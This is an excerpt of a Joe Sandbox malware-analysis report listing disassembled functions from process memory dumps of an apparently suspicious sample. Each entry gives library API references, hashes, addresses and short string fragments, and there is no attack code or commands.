Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator+$NameName::Name::operator=Replicator::operator[]
String ID:
API String ID: 955152517-0
Opcode ID: 1191c29f156703b79dc36852217c312c685c97e96a527458c7dab7d9a9cd02b7
Instruction ID: 4194024027d675acb3600f6fd48d4a1c2340b0b0a17e3439bde78e518f57559d
Opcode Fuzzy Hash: 1191c29f156703b79dc36852217c312c685c97e96a527458c7dab7d9a9cd02b7
Instruction Fuzzy Hash: 4831CFB0A04208AFCB18DF64C855AEABFF8FF99308F50845DF586A7391DB709944CB50

Function 00546CD7 Relevance: 7.7, APIs: 5, Instructions: 178COMMONLIBRARYCODE

Download Yara Rule

APIs

shared_ptr.LIBCMT ref: 00546D42
operator+.LIBVCRUNTIME ref: 00546D92
shared_ptr.LIBCMT ref: 00546E5E
DName::DName.LIBVCRUNTIME ref: 00546E8E
operator+.LIBVCRUNTIME ref: 00546EEF

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: operator+shared_ptr$NameName::
String ID:
API String ID: 2894330373-0
Opcode ID: 6181c2402104f6380d60ae94ef49fea3105e3a459e4dfb41e9951f5f9ded9524
Instruction ID: e7714e11b04cf8d0411a0aea672a6a44accdcb36dbb6628b24674f38f4f493d5
Opcode Fuzzy Hash: 6181c2402104f6380d60ae94ef49fea3105e3a459e4dfb41e9951f5f9ded9524
Instruction Fuzzy Hash: 1F618F7590420AEFCB04CF68C849AFABFF9FB4630CF14855AE5459B221D3329A49DF42

Function 0053EA83 Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0053EA8A
std::_Lockit::_Lockit.LIBCPMT ref: 0053EA95
std::_Lockit::~_Lockit.LIBCPMT ref: 0053EB03

Part of subcall function 0053EBE6: std::locale::_Locimp::_Locimp.LIBCPMT ref: 0053EBFE

std::locale::_Setgloballocale.LIBCPMT ref: 0053EAB0
_Yarn.LIBCPMT ref: 0053EAC6

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: 4679569ea9d51af95b8548890643f324f34557a50ae6f5f5cece0182f0934bde
Instruction ID: 86b0400c0b16decd325288313ea1fb4cb97b6cbafa0463ff532eb1d269be5ca7
Opcode Fuzzy Hash: 4679569ea9d51af95b8548890643f324f34557a50ae6f5f5cece0182f0934bde
Instruction Fuzzy Hash: DC019A796005269BD706AB60D86A67DBFA5BFD4700F184009E81267381DB746E46DB81

Function 00566B20 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 275COMMON

Download Yara Rule

APIs

__FindPESection.LIBCMT ref: 00566C51
__FindPESection.LIBCMT ref: 00566D73
__FindPESection.LIBCMT ref: 00566DAD

Strings

4iV, xrefs: 00566B53, 00566DA3, 00566C44

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: FindSection
String ID: 4iV
API String ID: 3341428096-3927224433
Opcode ID: a9d720261edc43d552fc278de9734b5758a1487e04063d096053bbbed92ee5f8
Instruction ID: c2f4eff371fae27d43f28d2b0674510426c4c86ed841fcf77b75273cd30a6b13
Opcode Fuzzy Hash: a9d720261edc43d552fc278de9734b5758a1487e04063d096053bbbed92ee5f8
Instruction Fuzzy Hash: 58A1E275E006168FDB20CF58D984BAEBBB9FB54310F11462AD809E73A1D732ED45CB90

Function 00418CD0 Relevance: 6.2, APIs: 4, Instructions: 207COMMON

Download Yara Rule

APIs

_memcpy_s.LIBCPMTD ref: 00418D95
_memcpy_s.LIBCPMTD ref: 00418DCE
_memcpy_s.LIBCPMTD ref: 00418E79
_memcpy_s.LIBCPMTD ref: 00418EB2

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: _memcpy_s
String ID:
API String ID: 2001391462-0
Opcode ID: c1679a1f74fcd138c177945069ca4bd0e9e2154e18d4c54f8d7398752ceee9bc
Instruction ID: 37611fbb21596de5e2394e82c8b5c83bd6034b58e7d2a30eb87fb0008af84750
Opcode Fuzzy Hash: c1679a1f74fcd138c177945069ca4bd0e9e2154e18d4c54f8d7398752ceee9bc
Instruction Fuzzy Hash: 1691C8B5E002089FCB18DF95D891AEEBBB5BF98300F20815EE519B7391DB34A941CF55

Function 005453B3 Relevance: 6.2, APIs: 4, Instructions: 192COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 005453BA
UnDecorator::getSymbolName.LIBCMT ref: 0054544C
DName::operator+.LIBCMT ref: 00545550
DName::DName.LIBVCRUNTIME ref: 005455F3

Part of subcall function 00542F6A: shared_ptr.LIBCMT ref: 00542F86

Part of subcall function 00543169: DName::DName.LIBVCRUNTIME ref: 005431B7

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Name$Name::$Decorator::getH_prolog3Name::operator+Symbolshared_ptr
String ID:
API String ID: 1134295639-0
Opcode ID: e62622ef9c0e37772a421885ba7cf1b7072a3fa16f76c11c1660cfb1ecfca0a3
Instruction ID: 09ae8cf0c7b3f4c8c275987e109e26590bdce191a27c39ba7593ebd9847d6c63
Opcode Fuzzy Hash: e62622ef9c0e37772a421885ba7cf1b7072a3fa16f76c11c1660cfb1ecfca0a3
Instruction Fuzzy Hash: 03718B72D006199FDF00CFA4D886BEEBFB5BB09318F54402AE941BB252E7349949DF60

Function 00545A2D Relevance: 6.2, APIs: 4, Instructions: 169COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 00545B62

Part of subcall function 00542CA6: __aulldvrm.LIBCMT ref: 00542CD7

DName::operator+.LIBCMT ref: 00545AC3
DName::operator=.LIBVCRUNTIME ref: 00545BA7
DName::DName.LIBVCRUNTIME ref: 00545BD9

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator+$NameName::Name::operator=__aulldvrm
String ID:
API String ID: 2973644308-0
Opcode ID: 71f8ef76aadc60bb80e279afff1444245b3ae7c713b6a7f302d239b4a3306a4a
Instruction ID: 618d853d0b91b33973889c108ac3b5e2f1a944230a6f228d600a0c331c186e87
Opcode Fuzzy Hash: 71f8ef76aadc60bb80e279afff1444245b3ae7c713b6a7f302d239b4a3306a4a
Instruction Fuzzy Hash: 03619CB0900619EFCB15CF54CC85AEEBFB4FB55308F14819AE9426B362E7709A44DF90

Function 0053F9F0 Relevance: 6.2, APIs: 4, Instructions: 154COMMON

Download Yara Rule

APIs

_com_issue_error.COMSUPP ref: 0053FB28
_com_issue_error.COMSUPP ref: 0053FB32
_com_issue_error.COMSUPP ref: 0053FB4A
_com_issue_error.COMSUPP ref: 0053FB73

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: _com_issue_error
String ID:
API String ID: 2162355165-0
Opcode ID: 43d2d14a92fbb886946c6ba802b88278efc4239de4b8bfd54c456aaa4ff0a4fc
Instruction ID: 7358eca705b24e04d03b31fcf6ff8e621a024aec6e5f5b7f732016fe7f36c117
Opcode Fuzzy Hash: 43d2d14a92fbb886946c6ba802b88278efc4239de4b8bfd54c456aaa4ff0a4fc
Instruction Fuzzy Hash: 0241ECB1E00205ABDB10DF69DC59BAEBFA8FF48714F20423AF505E7251D7749940C7A4

Function 005665EA Relevance: 6.1, APIs: 4, Instructions: 140COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 0056663B
TypeidsEqual.LIBVCRUNTIME ref: 00566660
PMDtoOffset.LIBCMT ref: 00566676
PMDtoOffset.LIBCMT ref: 005666F7

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: 2ca317564d3a52bdce74212441e3e6b18e266408b0b4746ca7a4d4689c7ceabc
Instruction ID: 3ec3a5c43a450f5902cef058ac558b07a64918a9895abe4dafebb218c60bf6e4
Opcode Fuzzy Hash: 2ca317564d3a52bdce74212441e3e6b18e266408b0b4746ca7a4d4689c7ceabc
Instruction Fuzzy Hash: 0841A97990420A9FCF10CF68D490AEEBFF5FF55318F14459AE851A7251D332AE49CBA0

Function 0054576F Relevance: 6.1, APIs: 4, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 005457A2

Part of subcall function 00542F48: DName::operator+=.LIBCMT ref: 00542F5E

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator+Name::operator+=
String ID:
API String ID: 382699925-0
Opcode ID: ddfe6feb42bd0a8d55fb285354ea3790bd388ce41d9f65c798f907f6b9850dc2
Instruction ID: 6c9313faf1d56eed4918053c7516ba6da9d8287d4d2f46fe4c44ce8550bfcde5
Opcode Fuzzy Hash: ddfe6feb42bd0a8d55fb285354ea3790bd388ce41d9f65c798f907f6b9850dc2
Instruction Fuzzy Hash: B0415B71D0061ADFCF05DFA8C899AEEBFB4FB44318F204519E505B7242EB709A49DB90

Function 0040BFA0 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0040BFDA
__aulldiv.LIBCMT ref: 0040C000
__aulldiv.LIBCMT ref: 0040C028
__aulldiv.LIBCMT ref: 0040C048

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: 5f8af19c729b2abc98a7b407af36e98795bf415362576a5bc72059e5601f2f96
Instruction ID: 5a4351d71c02da8dc1365dd09198f184a6657471376a08a99eb31ec19f557994
Opcode Fuzzy Hash: 5f8af19c729b2abc98a7b407af36e98795bf415362576a5bc72059e5601f2f96
Instruction Fuzzy Hash: 3E213CB5640709ABEB10DF14CC82FAE7BA5FB84700F64C168F9189F285D674E911DB98

Function 00553E0A Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 291COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00553F81

Strings

+, xrefs: 00553EDF
-, xrefs: 00553ED2

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: +$-
API String ID: 3732870572-2137968064
Opcode ID: fa1993fc02537ad482c48bdff02e7d86c772ec243d0de8124976dd44a399a760
Instruction ID: ee3be1a0f6a38727e27cffce4a4511220548a260b57c919caf088d2aaecd4525
Opcode Fuzzy Hash: fa1993fc02537ad482c48bdff02e7d86c772ec243d0de8124976dd44a399a760
Instruction Fuzzy Hash: EFA1F230E00249AFCF24CE38C8656EE7FB5FF4536AF14855BEC699B291D234DA498B50

Function 00417CB0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

std::ios_base::clear.LIBCPMTD ref: 00417D4B
std::ios_base::clear.LIBCPMTD ref: 00417F39

Part of subcall function 00417740: std::ios_base::clear.LIBCPMTD ref: 00417871

Strings

c[A, xrefs: 00417D7B

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: std::ios_base::clear
String ID: c[A
API String ID: 1443086396-3980679666
Opcode ID: 4d3131de13726f85842fecc0a16c4ed717e8baca758260212b4ed04e028680e3
Instruction ID: e10ae30511089e2349b5ca390c5d904f6423d55141c2f949d911cb258852352f
Opcode Fuzzy Hash: 4d3131de13726f85842fecc0a16c4ed717e8baca758260212b4ed04e028680e3
Instruction Fuzzy Hash: 0491D4B4E08249CFDB14CF95C495AEEFBB1BF48314F24815AD9166B391C738A982CF94

Function 00547AB6 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Replicator::operator[].LIBCMT ref: 00547B11
DName::DName.LIBVCRUNTIME ref: 00547C5C

Strings

V}T, xrefs: 00547C4A, 00547C02, 00547C1B, 00547BF6

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: NameName::Replicator::operator[]
String ID: V}T
API String ID: 3707554701-1642535238
Opcode ID: 1ad01d7bc2d8831a2ec03bea90bc5f8d6c954037350c7e67fcd62a89b700f2fa
Instruction ID: 1641c654ccac862f90cf130fc44eab22f0c993c4d26acbdb9451da0718863930
Opcode Fuzzy Hash: 1ad01d7bc2d8831a2ec03bea90bc5f8d6c954037350c7e67fcd62a89b700f2fa
Instruction Fuzzy Hash: F051AF7090824DAFDB15CFA8D889AEDBFB5FF1D308F04809AD945A7361E7719908CB50

Function 00545C96 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 71COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 00545CAD
DName::DName.LIBVCRUNTIME ref: 00545D32

Strings

A, xrefs: 00545D12

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: NameName::
String ID: A
API String ID: 1333004437-3554254475
Opcode ID: 2ecd66f8c36d5798573c9acdf125e6f51d867086f787476ae7558204b1e2d0c6
Instruction ID: 9441f4093a5e4505f1a97fde032ed34cfa7e1d8a556951327f30cae6bf335df2
Opcode Fuzzy Hash: 2ecd66f8c36d5798573c9acdf125e6f51d867086f787476ae7558204b1e2d0c6
Instruction Fuzzy Hash: 87218870900209AFCF15DF94D84AAEC7FB1FF85308F508499F946AB262E7319A89DB40

Function 004164F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

_memcpy_s.LIBCPMTD ref: 004165CB

Strings

eVA, xrefs: 00416567, 00416545, 00416553, 0041655D
eVA, xrefs: 0041650C, 0041651E, 00416533, 00416591, 0041659D, 004165AA

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: _memcpy_s
String ID: eVA$eVA
API String ID: 2001391462-2010160217
Opcode ID: 840fe47f7f40b0dd22249d9de1a3239d75facf5a1c0f6b941722fd50a3e2e93c
Instruction ID: 9ab3e6916cf0d860965d67e495f956fdb17b34ad4b651c815909af831e30d601
Opcode Fuzzy Hash: 840fe47f7f40b0dd22249d9de1a3239d75facf5a1c0f6b941722fd50a3e2e93c
Instruction Fuzzy Hash: 2531AA74A04208EFDB04CF98D094BEEB7B5BF48344F2481A9D8489B346D775AE85DF94

Analysis Process: REaoHTwA9AqN_cDvubi9mxZt.exePID: 8008, Parent PID: 7536COMMON

Execution Graph

Execution Coverage:	17.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	100
Total number of Limit Nodes:	3

Executed Functions

Function 053556CA Relevance: 84.7, Strings: 67, Instructions: 986
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

R, xrefs: 053561B9
/, xrefs: 053566B5
D, xrefs: 0535657D
4U?, xrefs: 05355CBD
;, xrefs: 05355F89
I, xrefs: 05355FAF
\, xrefs: 05355A11
Q, xrefs: 0535597F
:, xrefs: 053562CB
., xrefs: 05355A4B
J, xrefs: 05355911
Z, xrefs: 05356359
?A, xrefs: 053565A1
I, xrefs: 0535591B
Q, xrefs: 05355EEF
E, xrefs: 05355834
(, xrefs: 05355D0D
F1<B, xrefs: 05355BE7
O, xrefs: 053564D7
G, xrefs: 053566CD
", xrefs: 05356081
B, xrefs: 05355925
YBRB, xrefs: 05356589
S, xrefs: 05355FB9
6, xrefs: 05355D23
T, xrefs: 05355E9D
Q, xrefs: 053560D9
T, xrefs: 05355B19
2, xrefs: 05355F0B
(, xrefs: 053560FF
?, xrefs: 053564CB
\KOB, xrefs: 05355AAD
rT;B, xrefs: 05355FFD
B, xrefs: 05355E11
U, xrefs: 0535587D
2, xrefs: 053560A9
V, xrefs: 053558DB
z]A, xrefs: 05356509
3, xrefs: 05355EA7
4, xrefs: 05355F4B
G, xrefs: 053564E3
I, xrefs: 0535651F
1, xrefs: 05356563
E, xrefs: 053561AF
B, xrefs: 053563CF
6, xrefs: 05355BA1
kr4A, xrefs: 05355AB7
$, xrefs: 05355D91
, xrefs: 053558E9
6, xrefs: 053558E2
, xrefs: 0535604B
9, xrefs: 0535592F
b, xrefs: 05356263
J, xrefs: 053561E3
K, xrefs: 05356097
"?B, xrefs: 05356639
Yt9B, xrefs: 053561A5
T, xrefs: 053558A6
], xrefs: 05356055
', xrefs: 05356469
), xrefs: 05355BF1
&, xrefs: 05356135
V, xrefs: 05356335
5, xrefs: 0535582D
0, xrefs: 05355D7F
,, xrefs: 053560B3
^uEB, xrefs: 05355A75

Memory Dump Source

Source File: 00000006.00000002.2286715644.0000000005350000.00000040.00000800.00020000.00000000.sdmp, Offset: 05350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5350000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID:
String ID: $ $"$"?B$$$&$'$($($)$,$.$/$0$1$2$2$3$4$4U?$5$6$6$6$9$:$;$?$B$B$B$D$E$E$F1<B$G$G$I$I$I$J$J$K$O$Q$Q$Q$R$S$T$T$T$U$V$V$YBRB$Yt9B$Z$\$\KOB$]$^uEB$b$kr4A$rT;B$?A$z]A
API String ID: 0-280580472
Opcode ID: b521c166124418dca88376870291dcfb434b25f39bcc185dddf8b8cd7afc2292
Instruction ID: 5680c5a54c615d78db6470c2abfd3d019783f75b48f7b26866f234952df47194
Opcode Fuzzy Hash: b521c166124418dca88376870291dcfb434b25f39bcc185dddf8b8cd7afc2292
Instruction Fuzzy Hash: B3B2CFB5D016698FDB64DF29DD84B9ABBB1FB49305F00A0EAD40CA7344E7759A81CF08

Function 053556D0 Relevance: 84.7, Strings: 67, Instructions: 984
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

R, xrefs: 053561B9
/, xrefs: 053566B5
D, xrefs: 0535657D
4U?, xrefs: 05355CBD
;, xrefs: 05355F89
I, xrefs: 05355FAF
\, xrefs: 05355A11
Q, xrefs: 0535597F
:, xrefs: 053562CB
., xrefs: 05355A4B
J, xrefs: 05355911
Z, xrefs: 05356359
?A, xrefs: 053565A1
I, xrefs: 0535591B
Q, xrefs: 05355EEF
E, xrefs: 05355834
(, xrefs: 05355D0D
F1<B, xrefs: 05355BE7
O, xrefs: 053564D7
G, xrefs: 053566CD
", xrefs: 05356081
B, xrefs: 05355925
YBRB, xrefs: 05356589
S, xrefs: 05355FB9
6, xrefs: 05355D23
T, xrefs: 05355E9D
Q, xrefs: 053560D9
T, xrefs: 05355B19
2, xrefs: 05355F0B
(, xrefs: 053560FF
?, xrefs: 053564CB
\KOB, xrefs: 05355AAD
rT;B, xrefs: 05355FFD
B, xrefs: 05355E11
U, xrefs: 0535587D
2, xrefs: 053560A9
V, xrefs: 053558DB
z]A, xrefs: 05356509
3, xrefs: 05355EA7
4, xrefs: 05355F4B
G, xrefs: 053564E3
I, xrefs: 0535651F
1, xrefs: 05356563
E, xrefs: 053561AF
B, xrefs: 053563CF
6, xrefs: 05355BA1
kr4A, xrefs: 05355AB7
$, xrefs: 05355D91
, xrefs: 053558E9
6, xrefs: 053558E2
, xrefs: 0535604B
9, xrefs: 0535592F
b, xrefs: 05356263
J, xrefs: 053561E3
K, xrefs: 05356097
"?B, xrefs: 05356639
Yt9B, xrefs: 053561A5
T, xrefs: 053558A6
], xrefs: 05356055
', xrefs: 05356469
), xrefs: 05355BF1
&, xrefs: 05356135
V, xrefs: 05356335
5, xrefs: 0535582D
0, xrefs: 05355D7F
,, xrefs: 053560B3
^uEB, xrefs: 05355A75

Memory Dump Source

Source File: 00000006.00000002.2286715644.0000000005350000.00000040.00000800.00020000.00000000.sdmp, Offset: 05350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5350000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID:
String ID: $ $"$"?B$$$&$'$($($)$,$.$/$0$1$2$2$3$4$4U?$5$6$6$6$9$:$;$?$B$B$B$D$E$E$F1<B$G$G$I$I$I$J$J$K$O$Q$Q$Q$R$S$T$T$T$U$V$V$YBRB$Yt9B$Z$\$\KOB$]$^uEB$b$kr4A$rT;B$?A$z]A
API String ID: 0-280580472
Opcode ID: 74c9aaab08169990d9e6acc0eb210199dcab32fc8753f4799ce9c8923eed8b26
Instruction ID: 6d3cffb84741bfbd3ee8c655ee2ab7134c2ba7d46c4c6a30218aff4eb2351366
Opcode Fuzzy Hash: 74c9aaab08169990d9e6acc0eb210199dcab32fc8753f4799ce9c8923eed8b26
Instruction Fuzzy Hash: 53B2CFB5D016698FDB64DF29DD84B9ABBB1FB49305F00A0EAD40CA7344E7759A81CF08

Function 0535E700 Relevance: 72.2, Strings: 57, Instructions: 970
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

F, xrefs: 0535F324
&, xrefs: 0535F60A
8, xrefs: 0535F1DC
+, xrefs: 0535F294
2, xrefs: 0535EBA4
7, xrefs: 0535F208
O, xrefs: 0535EA6A
!, xrefs: 0535F480
W, xrefs: 0535EF3E
P, xrefs: 0535E913
R, xrefs: 0535EAF8
S, xrefs: 0535F4FC
L, xrefs: 0535EC7A
-, xrefs: 0535EEA8
5, xrefs: 0535ECFA
1, xrefs: 0535EA0A
a, xrefs: 0535EBC6
L, xrefs: 0535F660
B, xrefs: 0535F102
a, xrefs: 0535F0E0
R, xrefs: 0535EE88
8cA, xrefs: 0535EE9E
3, xrefs: 0535ED4C
V, xrefs: 0535EF90
-, xrefs: 0535EEB2
AcB, xrefs: 0535F508
&, xrefs: 0535F36C
N, xrefs: 0535F5B2
., xrefs: 0535F276
`, xrefs: 0535EB68
, xrefs: 0535F24A
D, xrefs: 0535EACC
", xrefs: 0535E99A
\, xrefs: 0535ED6A
V, xrefs: 0535E8C3
a, xrefs: 0535EB84
g.B, xrefs: 0535EA8C
[, xrefs: 0535F12C
D, xrefs: 0535EA1E
?, xrefs: 0535F122
9, xrefs: 0535EE54
_, xrefs: 0535EDDC
1, xrefs: 0535F45C
<, xrefs: 0535F6B8
=, xrefs: 0535ECE4
D, xrefs: 0535E944
C, xrefs: 0535ED80
Y, xrefs: 0535F616
&hNB, xrefs: 0535F2BC
K, xrefs: 0535F63A
V, xrefs: 0535EBD0
6C9B, xrefs: 0535EE4A
=, xrefs: 0535F42A
5, xrefs: 0535E94B
>, xrefs: 0535F096
*, xrefs: 0535F5BE
&, xrefs: 0535F156

Memory Dump Source

Source File: 00000006.00000002.2286715644.0000000005350000.00000040.00000800.00020000.00000000.sdmp, Offset: 05350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5350000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID:
String ID: $!$"$&$&$&$&hNB$*$+$-$-$.$1$1$2$3$5$5$6C9B$7$8$8cA$9$<$=$=$>$?$B$C$D$D$D$F$K$L$L$N$O$P$R$R$S$V$V$V$W$Y$[$\$_$`$a$a$a$g.B$AcB
API String ID: 0-3214559996
Opcode ID: 7c9ca7dd52cd65297ce1ef0c281fd908c1015f62edaf2eb0ee84ad9e412d1999
Instruction ID: 4a42122cba87d3cb69b7609830535689c05691c0b404aaae1f319f2e45f1d3ec
Opcode Fuzzy Hash: 7c9ca7dd52cd65297ce1ef0c281fd908c1015f62edaf2eb0ee84ad9e412d1999
Instruction Fuzzy Hash: CEB2E0B4D016288FDB64DF2ADE4479ABBB1BB49305F00A1EAD50CB7394DB754AC18F04

Function 0535E710 Relevance: 72.2, Strings: 57, Instructions: 964
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

F, xrefs: 0535F324
&, xrefs: 0535F60A
8, xrefs: 0535F1DC
+, xrefs: 0535F294
2, xrefs: 0535EBA4
7, xrefs: 0535F208
O, xrefs: 0535EA6A
!, xrefs: 0535F480
W, xrefs: 0535EF3E
P, xrefs: 0535E913
R, xrefs: 0535EAF8
S, xrefs: 0535F4FC
L, xrefs: 0535EC7A
-, xrefs: 0535EEA8
5, xrefs: 0535ECFA
1, xrefs: 0535EA0A
a, xrefs: 0535EBC6
L, xrefs: 0535F660
B, xrefs: 0535F102
a, xrefs: 0535F0E0
R, xrefs: 0535EE88
8cA, xrefs: 0535EE9E
3, xrefs: 0535ED4C
V, xrefs: 0535EF90
-, xrefs: 0535EEB2
AcB, xrefs: 0535F508
&, xrefs: 0535F36C
N, xrefs: 0535F5B2
., xrefs: 0535F276
`, xrefs: 0535EB68
, xrefs: 0535F24A
D, xrefs: 0535EACC
", xrefs: 0535E99A
\, xrefs: 0535ED6A
V, xrefs: 0535E8C3
a, xrefs: 0535EB84
g.B, xrefs: 0535EA8C
[, xrefs: 0535F12C
D, xrefs: 0535EA1E
?, xrefs: 0535F122
9, xrefs: 0535EE54
_, xrefs: 0535EDDC
1, xrefs: 0535F45C
<, xrefs: 0535F6B8
=, xrefs: 0535ECE4
D, xrefs: 0535E944
C, xrefs: 0535ED80
Y, xrefs: 0535F616
&hNB, xrefs: 0535F2BC
K, xrefs: 0535F63A
V, xrefs: 0535EBD0
6C9B, xrefs: 0535EE4A
=, xrefs: 0535F42A
5, xrefs: 0535E94B
>, xrefs: 0535F096
*, xrefs: 0535F5BE
&, xrefs: 0535F156

Memory Dump Source

Source File: 00000006.00000002.2286715644.0000000005350000.00000040.00000800.00020000.00000000.sdmp, Offset: 05350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5350000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID:
String ID: $!$"$&$&$&$&hNB$*$+$-$-$.$1$1$2$3$5$5$6C9B$7$8$8cA$9$<$=$=$>$?$B$C$D$D$D$F$K$L$L$N$O$P$R$R$S$V$V$V$W$Y$[$\$_$`$a$a$a$g.B$AcB
API String ID: 0-3214559996
Opcode ID: b965c53868b17f9c745892e11bbde992ab740e8d8c07aa36f4cf3f69154f7ee2
Instruction ID: e29f0a773c94b10e52fbb4b2b0cb568b12fb516fbac116e407f2ed467d135390
Opcode Fuzzy Hash: b965c53868b17f9c745892e11bbde992ab740e8d8c07aa36f4cf3f69154f7ee2
Instruction Fuzzy Hash: 37B2D0B4D016298FDB64DF2ADE4479ABBB1BB49305F00A1EAD50CB7394DB754AC18F04

Function 053581B0 Relevance: 72.2, Strings: 57, Instructions: 944
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

a, xrefs: 05358BEB
, xrefs: 05358D55
", xrefs: 053584A5
S, xrefs: 05359007
V, xrefs: 05358A9B
1, xrefs: 05358515
D, xrefs: 05358529
!, xrefs: 05358F8B
P, xrefs: 0535841B
O, xrefs: 05358575
L, xrefs: 0535916B
&hNB, xrefs: 05358DC7
K, xrefs: 05359145
-, xrefs: 053589B3
a, xrefs: 053586D1
., xrefs: 05358D81
[, xrefs: 05358C37
>, xrefs: 05358BA1
F, xrefs: 05358E2F
-, xrefs: 053589BD
&, xrefs: 05358E77
B, xrefs: 05358C0D
N, xrefs: 053590BD
R, xrefs: 05358993
C, xrefs: 0535888B
5, xrefs: 05358453
